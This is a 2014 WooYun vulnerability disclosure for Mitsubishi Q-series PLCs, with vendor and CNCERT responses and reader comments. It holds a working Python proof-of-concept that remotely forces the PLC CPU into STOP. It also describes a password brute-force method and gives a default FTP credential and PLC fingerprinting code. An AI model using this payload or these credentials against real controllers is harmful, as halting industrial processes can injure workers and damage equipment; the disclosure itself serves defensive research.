当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-066585

漏洞标题:三菱Q系列PLC安全分析报告(工具实现批量PLC指纹识别/攻击附视频)

相关厂商:三菱电机自动化(中国)有限公司

漏洞作者: Z-0ne

提交时间:2014-06-28 22:55

修复时间:2014-08-12 22:56

公开时间:2014-08-12 22:56

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-28: 细节已通知厂商并且等待厂商处理中
2014-07-03: 厂商已经确认,细节仅向厂商公开
2014-07-13: 细节向核心白帽子及相关领域专家公开
2014-07-23: 细节向普通白帽子公开
2014-08-02: 细节向实习白帽子公开
2014-08-12: 细节向公众公开

简要描述:

还是负责任的科普一下PLC是运行在工业环境中的可编程控制器,广泛的应用钢铁、石油、化工、电力、能源等各个行业的自控环境。
一般根据PLC品牌不同PLC可能有多种工作模式,如运行,停止,编程等。
在生产环境下运行的PLC故障或者停止工作可能会引起了人员伤亡、设备损坏等。
经测试三菱PLC(Q03UDECPU)该缺陷远程触发后会导致CPU切换到STOP状态(PLC CPU RUN指示灯熄灭),并且无法手动恢复(即使使用CPU上STOP到RUN开关手动切换也无法点亮RUN),重新恢复运行模式需要RESET(即冷启动)或重新上电。(此条可能存在争议,可能存在触发条件)
虽然设经置密码能有效防范Replay攻击,但是Q系列PLC在密码实现上存在一定缺陷(密码字段由加密4个字节组成),穷举时通过判断响应的报文确认密文字段,同时在传输时无法抵御MITM,可以通过报文推出密码。
Q系列PLC开放的外部服务可以有效的作为识别设备的手段(非需要启用单独设置的三菱MC协议方式),如FTP服务和通讯端口,通过这些可以准确的读取设备的产品信息(目前我们的扫描工具实现了通过扫描PLC开放的默认端口,判断端口开放后,再调用设备识别函数,读取设备产品信息。工具目前支持Modbus,西门子S7,欧姆龙PLC,三菱PLC,AB PLC,GE PLC,IEC104,DNP3,Rslinx服务等设备批量扫描和关键信息识别用于帮助我们分析资产状况)。

详细说明:

Q03UDE正面图

03ude.jpg


简要分析说明
0x1
以Q03UDE CPU模块(自带以太网口)为例,默认状态下未修改任合扩展协议设置,端口开放了TCP/5007,UDP/5006(用于与编程软件通过以太网方式通信)
0x2
GX Developer是三菱各系列PLC的官方编程软件,在与PLC通讯时可以选择多种总线通讯方式,当然也支持以太网与PLC CPU通信。软件与PLC通讯时可以使用选择UDP(5006)或者TCP(5007),不在相同网段实现配置基于UDP广播。
0x3
通过分析软件与PLC的通讯报文,在进行关键操作时应用层报文与开放的三菱Q系列MELSEC通讯协议(可百度)有相似之处,如操作码,例远程读取CPU信息(0101),远程停止cpu(1002),远程reset(1006)等。如果编程软件曾经和PLC之间有过通讯则可能就会造成如下视频中的状况。

stop.png


0x4
启用远程口令保护后,远程操作PLC部分功能需要验证口令,三菱系列PLC密码固定为4位,验证密码时软件会请求密码验证帧,4位密码会按顺序加密成固定的有序的4字节,例如设置的密码为1111则对应57,2e,c3,fa,而4321则为54,30,c0,fa(通过密码对应关系即可组合穷举破解密码,这里虽然我们根据正确密码与错误密码返回的不同报文判断,并实现了穷举的工具,但是我们不认为有很高的命中率,甚至会导致PLC工作异常,err灯变红)。

testpass.png


attpasswd.png


0x5
启用扩展FTP后,FTP存在默认口令用户名密码均为QNUDECPU,FTP欢迎标识明显如下图,可以作为设备识别的手段,更多可使用SHODAN等引擎搜索,用户登录FTP后可以使用命令获取CPU中的参数和数据等用户文件。

ftptest.png

漏洞证明:

演示视频地址
http://plcscan.org/blog/demo/attacking-Mitsubishi-Q-PLC-demo.swf
测试POC:

#coding:utf-8
import sys
import socket
print 'ICS Security Workspace'
print 'Mitsubish Q PLC CPU Modules Remote STOP'
ip = raw_input("enter PLC ip:")
test = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
test.connect((ip, 5006))
# 59 00 01 00 00 11 11 07 00 00 ff ff 03 00 00 fe 03 00 00 06 00 16 40 57 31 c1 ff
# 报文最后4个字节为密码加密字段
# 57 31 c1 ff对应1234
#test.send('\x59\x00\x00\x00\x00\x11\x11\x07\x00\x00\xff\xff\x03\x00\x00\xfe\x03\x00\x00\x06\x00\x16\x40\x57\x31\xc1\xff') #密码认证帧
#10 02 CPU停止功能码
test.send('\x57\x00\x00\x00\x00\x11\x11\x07\x00\x00\xff\xff\x03\x00\x00\xfe\x03\x00\x00\x14\x00\x1c\x08\x0a\x08\x00\x00\x00\x00\x00\x00\x00\x04\x10\x02\x08\x00\x00\x00\x01\x00')
str = repr(test.recv(1024))
print 'Send UDP CPU STOP Package'
test1 = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
test1.connect((ip, 5007))
test1.send('\x57\x00\x00\x00\x00\x11\x11\x07\x00\x00\xff\xff\x03\x00\x00\xfe\x03\x00\x00\x14\x00\x1c\x08\x0a\x08\x00\x00\x00\x00\x00\x00\x00\x04\x10\x02\x08\x00\x00\x00\x01\x00')
str1 = repr(test1.recv(1024))
print 'Send TCP CPU STOP Package'
raw_input('enter exit')


设备识别核心函数

#define MITSUBISHI_TCP_PORT    5007
//使用0101功能读取CPU信息
static int PlcScanMitsubishi(in_addr_t ipAddr)
{
int i;
int nRet = -1;
int nSockFd = -1;
struct in_addr in;
unsigned char uchRequest[] = {0x57, 0x00, 0x00, 0x00, 0x00, 0x11, 0x11, 0x07, 0x00
, 0x00, 0xff, 0xff, 0x03, 0x00, 0x00, 0xfe, 0x03, 0x00
, 0x00, 0x14, 0x00, 0x1c, 0x08, 0x0a, 0x08, 0x00, 0x00
, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x01, 0x01, 0x01
, 0x00, 0x00, 0x00, 0x00, 0x01};
unsigned char uchResponse[256] = {0};
int nResponse = 0;
#define MITSUBISHI_CPU_INDEX 41
#define MITSUBISHI_CPU_LEN 15


密码对应关系(数字部分)

passwd.png

修复方案:

在网络中添加基于黑名单或者白名单的访问认证

版权声明:转载请注明来源 Z-0ne@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-07-03 11:41

厂商回复:

CNVD确认所述情况(暂时不具备验证条件),已经转由CNCERT向JPCERT JVN通报,由其后续协调本国企业处置。后续CNCERT将向上级信息安全主管部门报备相关情况。工控漏洞,rank 20

最新状态:

暂无


漏洞评价:

评论

  1. 2014-06-28 23:02 | Manning ( 普通白帽子 | Rank:559 漏洞数:78 | 就恨自己服务器太少)

    抓了一大把瓜子

  2. 2014-06-29 00:07 | 无敌L.t.H ( 路人 | Rank:21 漏洞数:4 | ‮……肉肉捉活,亭长放解)

    明日新闻头条:日媒爆天朝黑阔掌握工业控制器漏洞,某些不愿意透露名字的工厂已深受其害。

  3. 2014-06-29 00:12 | YY-2012 ( 普通白帽子 | Rank:2763 漏洞数:641 | 意淫,是《红楼梦》原创的词汇,但后来演变...)

    工控很少联网吧……!

  4. 2014-06-29 06:56 | mramydnei ( 普通白帽子 | Rank:348 漏洞数:80 )

    真牛逼(包哥版)

  5. 2014-06-29 10:29 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    good! 有视频吧?

  6. 2014-06-29 12:20 | Z-0ne 认证白帽子 ( 普通白帽子 | Rank:559 漏洞数:38 | 目前专注于工控安全基础研究,工业数据采集...)

    @zeracker 只是测试视频 @YY-2012 还是摆渡方式居多

  7. 2014-07-03 12:18 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    @Z-0ne 洞主多看看国内啊。霍尼韦尔 西门啥的啊。

  8. 2014-07-03 15:06 | Z-0ne 认证白帽子 ( 普通白帽子 | Rank:559 漏洞数:38 | 目前专注于工控安全基础研究,工业数据采集...)

    @zeracker 你猜一下下一弹~

  9. 2014-07-06 20:12 | Z-0ne 认证白帽子 ( 普通白帽子 | Rank:559 漏洞数:38 | 目前专注于工控安全基础研究,工业数据采集...)

    @cncert国家互联网应急中心 有一点需要更新:如果成功使用0101读出CPU型号,则可以判断该PLC没有设置远程口令,因为经过验证(Q03UDECPU)设置了口令保护后无法使用该功能读取CPU型号。

  10. 2014-08-13 01:36 | 袋鼠妈妈 ( 普通白帽子 | Rank:449 漏洞数:61 | 故乡的原风景.MP3)

    还是没有看懂

  11. 2014-08-13 02:56 | 一级残废 ( 路人 | Rank:0 漏洞数:1 | 残废)

    表示学过plc编程,电工专业毕业小菜鸟一枚,一般工业用的都不会连接进去互联网,而且plc一般都在机器里面,机器贴上封条,普通员工无权开启

  12. 2014-08-13 03:48 | 汪哥 ( 路人 | Rank:28 漏洞数:6 )

    卖瓜子

  13. 2014-08-13 08:09 | Jumbo ( 普通白帽子 | Rank:111 漏洞数:29 | 猫 - http://www.chinabaiker.com)

    @一级残废学数控的路过

  14. 2014-08-13 08:37 | 铁汉 ( 路人 | Rank:12 漏洞数:6 | 向各种大神学习之)

    内部人士?

  15. 2014-08-13 09:46 | lucky_fn ( 实习白帽子 | Rank:68 漏洞数:10 | 软件安全)

    洞主太牛了,没看懂。。

  16. 2014-08-13 21:34 | Z-0ne 认证白帽子 ( 普通白帽子 | Rank:559 漏洞数:38 | 目前专注于工控安全基础研究,工业数据采集...)

    @Jumbo @一级残废 现在某些行业和特定场景下,异地现场远程与监控调度通信的实际应用案例还是蛮多的,一般使用3G或者ADSL发布,更多可以百度http://www.baidu.com/s?wd=PLC远程通讯解决方案

  17. 2014-11-04 15:46 | 乌帽子 ( 路人 | Rank:29 漏洞数:3 | 学习黑客哪家强 | 中国山东找蓝翔 | sql...)

    高端 ..看不懂